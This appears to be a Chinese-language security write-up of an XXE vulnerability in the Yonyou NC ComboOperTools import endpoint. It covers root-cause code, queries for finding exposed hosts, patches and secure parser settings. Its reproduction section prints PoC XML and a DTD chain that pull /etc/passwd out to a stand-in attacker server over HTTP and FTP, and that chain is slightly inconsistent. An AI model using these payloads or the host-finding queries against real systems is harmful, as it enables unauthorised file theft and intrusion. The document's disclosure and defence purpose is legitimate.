【超详细解析】用友NC系统ComboOperTools存在XML实体注入漏洞的分析
字数 1825 2025-09-01 11:25:54
用友NC系统ComboOperTools XML实体注入漏洞(XXE)分析与防御指南
一、漏洞概述
用友NC系统是用友面向大型集团企业推出的高端管理软件平台,基于J2EE架构和自研UAP平台构建。2025年8月10日,用友官方发布安全通告,修复了NC系统ComboOperTools组件存在的XML实体注入漏洞(XXE)。
漏洞影响
-
影响版本:
- 用友NC63(补丁包低于NCM_NC6.3_000_109902_20250730_GP_868581196)
- 用友NC65(补丁包低于SUPPORT-NC6.5-Security-20250728171039-122782)
-
漏洞危害:
- 任意文件读取
- 服务端请求伪造(SSRF)
- 敏感信息泄露
- 可能导致进一步系统入侵
二、漏洞原理深度分析
漏洞接口定位
漏洞存在于portal/pt/portalcombo/importCombo?pageId=login接口,相关代码位于:
- 接口方法:
nc.uap.portal.action.PortalComboAction - 核心处理类:
nc.uap.ctrl.pa.tools.ComboOperTools - XML解析类:
uap.iweb.xml.JaxbMarshalFactory
漏洞触发流程
- 攻击者通过
importCombo接口上传恶意XML文件 - 系统调用
ComboOperTools.doImPort()方法处理上传文件 - 方法内部将输入流转换为字符串并调用
JaxbMarshalFactory.encodeXML() - XML解析器处理恶意XML时加载外部实体
关键代码分析
// PortalComboAction.java
MultipartHttpServletRequest req = getMultipartResolver(this.request);
Map<String, MultipartFile> fileMap = req.getFileMap();
if (MapUtils.isNotEmpty(fileMap)) {
files.addAll(fileMap.values());
}
InputStream in = files.get(0).getInputStream();
ComboOperTools.doImPort(in);
// ComboOperTools.java
public static void doImPort(InputStream in) {
String xml = IOUtils.toString(in, "UTF-8");
JaxbMarshalFactory.encodeXML(xml);
}
// JaxbMarshalFactory.java
public static Object encodeXML(String xml) {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); // 问题设置
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(new InputSource(new StringReader(xml)));
return Unmarshaller.unmarshal(document);
}
漏洞根本原因
setExpandEntityReferences(false)仅阻止实体引用的展开,但不会阻止外部实体的加载。解析器仍会尝试加载外部实体,导致:
- 当实体指向URL时,可能发起SSRF攻击
- 当实体指向本地文件时,可能导致敏感信息泄露
三、环境搭建与资产识别
资产识别方法
- FOFA搜索语法:
app="用友-UFIDA-NC" - Hunter搜索语法:
web.body="uap/rbac"
四、漏洞复现详细步骤
1. DNSLog验证(初级验证)
POC示例:
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe">
%xxe;
]>
<root></root>
2. 任意文件读取(完整利用)
准备工作:
- 在攻击者VPS上准备
data.dtd文件并开启HTTP服务 - 在VPS上运行伪FTP服务(推荐使用230-OOB)
步骤详解:
-
准备data.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker-vps:8081/evil.dtd"> %dtd; %send; -
开启HTTP服务:
python3 -m http.server 8081 --bind 0.0.0.0 -
开启FTP监听:
python3 230.py 2121 -
构造并发送恶意XML:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker-vps:8081/data.dtd"> %remote; ]> <root></root> -
通过FTP接收文件内容:
- 系统会先获取
data.dtd - 根据
data.dtd指示读取/etc/passwd - 通过FTP协议将内容发送到攻击者VPS的2121端口
- 系统会先获取
五、修复建议
官方修复方案
- NC63安全补丁:NCM_NC6.3_000_109902_20250730_GP_868581196
- NC65安全补丁:SUPPORT-NC6.5-Security-20250728171039-122782
- 补丁下载地址:https://security.yonyou.com/#/noticeInfo?id=725
临时缓解措施
若无法立即升级,可采取以下措施:
- 禁用
importCombo接口的访问权限 - 在Web应用防火墙(WAF)中添加XXE攻击特征规则
- 限制服务器出站连接
代码层修复建议
// 正确的安全配置示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
六、漏洞防御最佳实践
-
XML解析安全配置:
- 禁用外部实体(DTDs)
- 禁用XInclude
- 禁用实体引用扩展
-
输入验证:
- 对上传的XML文件进行严格校验
- 使用白名单机制限制XML结构和内容
-
安全开发建议:
- 避免直接使用
Unmarshaller.unmarshal()处理不可信输入 - 优先使用SAX解析器而非DOM解析器
- 对JAXB、XStream等XML处理组件保持警惕
- 避免直接使用
-
网络层防护:
- 限制应用服务器出站连接
- 监控异常网络请求
七、总结与思考
该XXE漏洞的根本原因在于JAXB底层依赖的XML解析器默认允许访问外部资源。用友NC系统历史上多次出现类似问题,开发和安全团队应:
- 建立XML处理的安全编码规范
- 对系统所有XML处理接口进行安全审计
- 定期更新第三方XML处理库
- 实施严格的输入输出验证机制
XXE漏洞往往被低估,但其危害不容忽视,可能导致从信息泄露到内网穿透的严重后果。安全团队应将其视为高危漏洞进行处置。